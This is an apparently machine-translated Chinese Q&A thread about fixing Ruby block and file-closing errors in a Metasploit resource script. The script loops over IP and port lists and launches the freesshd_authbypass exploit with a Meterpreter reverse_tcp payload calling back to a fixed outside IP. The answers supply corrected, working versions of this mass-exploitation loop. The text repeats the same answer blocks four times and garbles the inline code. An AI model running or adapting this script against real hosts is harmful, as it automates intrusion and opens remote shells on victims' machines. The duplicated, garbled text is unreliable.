在Ruby中读取多个文件时出错

在Ruby中读取多个文件时出错,ruby,Ruby,我一直在编写一个脚本,在metasploit中使用Ruby自动化任务。由于某种原因,脚本给了我错误。代码如下: <ruby> File.open("/root/ip.txt","r") do |file| file.each_line do |ip| file.close File.open("/root/derp.txt","r") do |port1| file.each_line do |port| file.cl

我一直在编写一个脚本,在metasploit中使用Ruby自动化任务。由于某种原因,脚本给了我错误。代码如下:

<ruby>
File.open("/root/ip.txt","r") do |file|
        file.each_line do |ip|
        file.close
File.open("/root/derp.txt","r") do |port1|
        file.each_line do |port|
        file.close
                run_single("use exploit/windows/ssh/freesshd_authbypass")
                run_single("set LHOST 198.46.156.143")
                run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
                run_single("set LPORT #{port}")
                run_single("set EXITONSESSION false")
                run_single("set RHOST #{ip}")
                run_single("set USER_FILE /root/userlist.txt")
                run_single("exploit -j -z")
        end
end
</ruby>
{}
添加到代码的开头和结尾也不起作用


简而言之,Ruby在我放入多个
文件时给了我一个错误。在代码中打开
s。我需要关于如何正确实现它们的帮助。

正确地缩进代码,问题就会自行解决

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    file.close
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        file.close
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
您可能需要添加两个
end
s。另外,
file.close对于
do。。。结束
文件的形式。打开
并将其放在一个奇怪的位置

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
  end
end

正确地缩进代码,问题就会自动出现

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    file.close
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        file.close
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
您可能需要添加两个
end
s。另外,
file.close对于
do。。。结束
文件的形式。打开
并将其放在一个奇怪的位置

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
  end
end

正确地缩进代码,问题就会自动出现

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    file.close
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        file.close
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
您可能需要添加两个
end
s。另外,
file.close对于
do。。。结束
文件的形式。打开
并将其放在一个奇怪的位置

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
  end
end

正确地缩进代码,问题就会自动出现

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    file.close
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        file.close
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
您可能需要添加两个
end
s。另外,
file.close对于
do。。。结束
文件的形式。打开
并将其放在一个奇怪的位置

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
  end
end

Patrick Oscity提供了解决方案,但即使在添加缺少的
end
语句之后,修复代码也不是很直观

看起来您只需要来自两个不同文件的第一行。使用
foreach
,而不是打开文件然后使用
每行进行迭代。并且,不要立即显式地关闭文件,只需在底部中断循环,这将关闭文件并导致只读取一行

大概是这样的:

File.foreach("/root/ip.txt") do |ip|
  File.foreach("/root/derp.txt") do |port|
    run_single("use exploit/windows/ssh/freesshd_authbypass")
    run_single("set LHOST 198.46.156.143")
    run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
    run_single("set LPORT #{port}")
    run_single("set EXITONSESSION false")
    run_single("set RHOST #{ip}")
    run_single("set USER_FILE /root/userlist.txt")
    run_single("exploit -j -z")
    break
  end
  break
end

Patrick Oscity提供了解决方案,但即使在添加缺少的
end
语句之后,修复代码也不是很直观

看起来您只需要来自两个不同文件的第一行。使用
foreach
,而不是打开文件然后使用
每行进行迭代。并且,不要立即显式地关闭文件,只需在底部中断循环,这将关闭文件并导致只读取一行

大概是这样的:

File.foreach("/root/ip.txt") do |ip|
  File.foreach("/root/derp.txt") do |port|
    run_single("use exploit/windows/ssh/freesshd_authbypass")
    run_single("set LHOST 198.46.156.143")
    run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
    run_single("set LPORT #{port}")
    run_single("set EXITONSESSION false")
    run_single("set RHOST #{ip}")
    run_single("set USER_FILE /root/userlist.txt")
    run_single("exploit -j -z")
    break
  end
  break
end

Patrick Oscity提供了解决方案,但即使在添加缺少的
end
语句之后,修复代码也不是很直观

看起来您只需要来自两个不同文件的第一行。使用
foreach
,而不是打开文件然后使用
每行进行迭代。并且,不要立即显式地关闭文件,只需在底部中断循环,这将关闭文件并导致只读取一行

大概是这样的:

File.foreach("/root/ip.txt") do |ip|
  File.foreach("/root/derp.txt") do |port|
    run_single("use exploit/windows/ssh/freesshd_authbypass")
    run_single("set LHOST 198.46.156.143")
    run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
    run_single("set LPORT #{port}")
    run_single("set EXITONSESSION false")
    run_single("set RHOST #{ip}")
    run_single("set USER_FILE /root/userlist.txt")
    run_single("exploit -j -z")
    break
  end
  break
end

Patrick Oscity提供了解决方案,但即使在添加缺少的
end
语句之后,修复代码也不是很直观

看起来您只需要来自两个不同文件的第一行。使用
foreach
,而不是打开文件然后使用
每行进行迭代。并且,不要立即显式地关闭文件,只需在底部中断循环,这将关闭文件并导致只读取一行

大概是这样的:

File.foreach("/root/ip.txt") do |ip|
  File.foreach("/root/derp.txt") do |port|
    run_single("use exploit/windows/ssh/freesshd_authbypass")
    run_single("set LHOST 198.46.156.143")
    run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
    run_single("set LPORT #{port}")
    run_single("set EXITONSESSION false")
    run_single("set RHOST #{ip}")
    run_single("set USER_FILE /root/userlist.txt")
    run_single("exploit -j -z")
    break
  end
  break
end

尽管如此,你的问题还是接近答案。我修改了第二个文件。每行到端口1。每行都正常工作,谢谢!是的,我想指出第二个
文件。每行
都应该是
port1。每行
否则将无法正常工作。尽管如此,你的问题还是接近答案。我修改了第二个文件。每行到端口1。每行都正常工作,谢谢!是的,我想指出第二个
文件。每行
都应该是
port1。每行
否则将无法正常工作。尽管如此,你的问题还是接近答案。我修改了第二个文件。每行到端口1。每行都正常工作,谢谢!是的,我想指出第二个
文件。每行
都应该是
port1。每行
否则将无法正常工作。尽管如此,你的问题还是接近答案。我修改了第二个文件。每行到端口1。每行都正常工作,谢谢!是的,我想指出第二个
文件。每一行都应该是
port1。否则它将无法正常工作。